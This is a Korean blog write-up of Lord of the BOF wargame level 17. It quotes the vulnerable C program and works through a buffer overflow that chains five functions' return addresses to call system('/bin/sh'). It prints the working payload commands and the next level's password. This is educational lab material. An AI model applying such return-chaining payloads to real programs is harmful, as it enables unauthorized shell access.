일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- graphql with RN
- graphql mutation error
- 앙버터마카롱
- 홍대 토라비
- 비동기배열처리방법
- 잠실새내
- promise처리
- 비동기배열
- graphql react native
- 운정 소바동
- graphql
- 예쁜술집 예술
- 신촌 소문난집
- useMutation error
- 잠실새내 도그존
- 도그존
- 홍대 예술
- 토라비
- typescript
- apollo react native
- 지보싶 신촌점
- promise메서드
- 화이트 해커를 위한 웹 해킹의 기술
- 홍대 카페 장쌤
- apolloclient
- 금별맥주
- graphql with reactnative
- 고르드
- graphql 400
- 화이트해커를 위한 웹 해킹의 기술
- Today
- Total
yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆
LOB 17번 풀이 (zombie_assassin) 본문
id: zombie_assassin
pw: no place to hide
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
- DO, GYE, GUL, YUT, MO 함수 (도개걸윷모...?)
- 라이브러리 함수 사용 불가
- main의 ret는 DO 함수여야 함
- buffer+sfp 초기화
- ret+100 까지는 초기화가 되지 않음
- MO에서 system(cmd) 호출
- 도개걸윷모를 순서대로 호출하면 전역변수 check이 MO에서 5가 됨 (힌트: calling functions conitinuously)
이번에는 MO함수가 실행되면 알아서 system 함수가 호출된다.
따라서 system 함수의 인자로 "/bin/sh"의 주소만 넣어주면 될 듯하다. (이전 문제보다 난이도는 낮은 것 같다.)
우선 DO>GYE>GUL>YUT>MO 가 순서대로 각 함수의 ret로 들어가기 위해서는 각 함수의 주소를 알아내야 한다.
도개걸윷모 함수의 주소를 얻었다면 이제 MO함수의 인자로 넣어줄 "/bin/sh"의 주소를 구해보자.
라이브러리 영역을 사용할 수 없기 때문에 스택 영역에 "/bin/sh"를 넣고 해당 주소를 찾아보자.
gdb를 이용해서 복사한 파일에 breakpoint를 걸어주고 실행시켰다
r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+ "\x24\x87\x04\x08"+"AAAA"+"AAAA"+"\bin\sh"'`
그리고 스택을 확인해주자.
MO함수 주소 이후로 "AAAAAAAA"를 넣어주었다 그리고 그 이후에 /bin/sh'를 넣어주었으니 0xbffffa90+8의 주소를 혹인해보자. (사진에서는 실수해서 /bin/sh가 아니라 \bin\sh를 넣었다....)
'/bin/sh'가 0xbffffa98에 있기 때문에 MO의 인자로 넣어주며 실행해보자
MO함수+4에는 MO 함수 종료 후 실행될 함수의 ret가 들어간다. 따라서 dummy로 채워주자.
이상하게 '/bin/sh'로 고쳐서 실행해도 segmentation fault 오류가 났다.
구글링을 통해서 succubus를 복사해서 core 파일로 gdb를 실행해보았다.
'/bin/sh'의 주소는 똑같이 0xbffffa98 로 나왔다.
한번 더 payload를 입력해보았더니 쉘이 실행되었다. (왜 처음에는 실행이 안되었을까..?)
payload: ./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'`
succubus의 pw: "here to stay"
'wargame 풀이 > LOB' 카테고리의 다른 글
LOB 19번 풀이 (nightmare) (0) | 2021.01.04 |
---|---|
LOB 18번 풀이 (succubus) (0) | 2021.01.04 |
LOB 16번 풀이 (assassin) (0) | 2021.01.02 |
LOB 15번 풀이 (giant) (0) | 2021.01.01 |
LOB 14번 풀이 (bugbear) (0) | 2020.12.31 |